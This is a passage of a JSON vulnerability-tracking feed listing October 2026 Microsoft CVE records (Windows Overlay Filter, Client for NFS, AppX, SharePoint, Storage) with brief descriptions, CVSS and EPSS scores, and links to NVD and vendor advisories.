1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69970","asOf":"2026-10-26T17:57:56.813Z"},"epss":{"probability":0.00275,"percentile":0.19728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69970&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69970","type":"primary","publishedAt":"2026-10-13T19:19:07.653Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69970","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69970&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69970, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69959","cveId":"CVE-2026-69959","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally.","summary":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally.","detail":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:06.443Z","updatedAt":"2026-10-16T19:09:30.883Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69959","asOf":"2026-10-16T19:09:30.883Z"},"epss":{"probability":0.00379,"percentile":0.31575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69959","type":"primary","publishedAt":"2026-10-13T19:19:06.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69959","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69957","cveId":"CVE-2026-69957","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:06.083Z","updatedAt":"2026-10-16T19:07:48.997Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69957","asOf":"2026-10-16T19:07:48.997Z"},"epss":{"probability":0.00379,"percentile":0.31575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69957","type":"primary","publishedAt":"2026-10-13T19:19:06.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69957","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69953","cveId":"CVE-2026-69953","aliases":[],"kind":"vulnerability","title":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:05.540Z","updatedAt":"2026-10-16T19:05:11.367Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69953","asOf":"2026-10-16T19:05:11.367Z"},"epss":{"probability":0.00379,"percentile":0.31574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69953","type":"primary","publishedAt":"2026-10-13T19:19:05.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69953","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69952","cveId":"CVE-2026-69952","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:05.357Z","updatedAt":"2026-10-16T19:06:20.033Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69952","asOf":"2026-10-16T19:06:20.033Z"},"epss":{"probability":0.00379,"percentile":0.31576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69952","type":"primary","publishedAt":"2026-10-13T19:19:05.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69952","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69950","cveId":"CVE-2026-69950","aliases":[],"kind":"vulnerability","title":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:05.137Z","updatedAt":"2026-10-16T19:04:07.930Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69950","asOf":"2026-10-16T19:04:07.930Z"},"epss":{"probability":0.00379,"percentile":0.31576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69950","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69950","type":"primary","publishedAt":"2026-10-13T19:19:05.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69950","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69949","cveId":"CVE-2026-69949","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:04.867Z","updatedAt":"2026-10-16T19:03:35.683Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69949","asOf":"2026-10-16T19:03:35.683Z"},"epss":{"probability":0.00379,"percentile":0.31576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69949","type":"primary","publishedAt":"2026-10-13T19:19:04.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69949","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69945","cveId":"CVE-2026-69945","aliases":[],"kind":"vulnerability","title":"Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally.","summary":"Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally.","detail":"Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:04.593Z","updatedAt":"2026-10-16T19:02:47.843Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69945","asOf":"2026-10-16T19:02:47.843Z"},"epss":{"probability":0.00323,"percentile":0.25148,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69945","type":"primary","publishedAt":"2026-10-13T19:19:04.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69945","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69945, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69943","cveId":"CVE-2026-69943","aliases":[],"kind":"vulnerability","title":"Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:04.473Z","updatedAt":"2026-10-20T23:17:14.907Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69943","asOf":"2026-10-20T23:17:14.907Z"},"epss":{"probability":0.01161,"percentile":0.66926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69943","type":"primary","publishedAt":"2026-10-13T19:19:04.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69943","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69942","cveId":"CVE-2026-69942","aliases":[],"kind":"vulnerability","title":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally.","summary":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally.","detail":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:04.347Z","updatedAt":"2026-10-16T17:43:34.547Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69942","asOf":"2026-10-16T17:43:34.547Z"},"epss":{"probability":0.00379,"percentile":0.31574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69942","type":"primary","publishedAt":"2026-10-13T19:19:04.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69942","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69935","cveId":"CVE-2026-69935","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:04.020Z","updatedAt":"2026-10-16T18:20:40.740Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69935","asOf":"2026-10-16T18:20:40.740Z"},"epss":{"probability":0.0023,"percentile":0.13671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69935","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69935","type":"primary","publishedAt":"2026-10-13T19:19:04.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69935","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69934","cveId":"CVE-2026-69934","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:03.890Z","updatedAt":"2026-10-16T17:43:07.900Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69934","asOf":"2026-10-16T17:43:07.900Z"},"epss":{"probability":0.00379,"percentile":0.31575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69934","type":"primary","publishedAt":"2026-10-13T19:19:03.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of 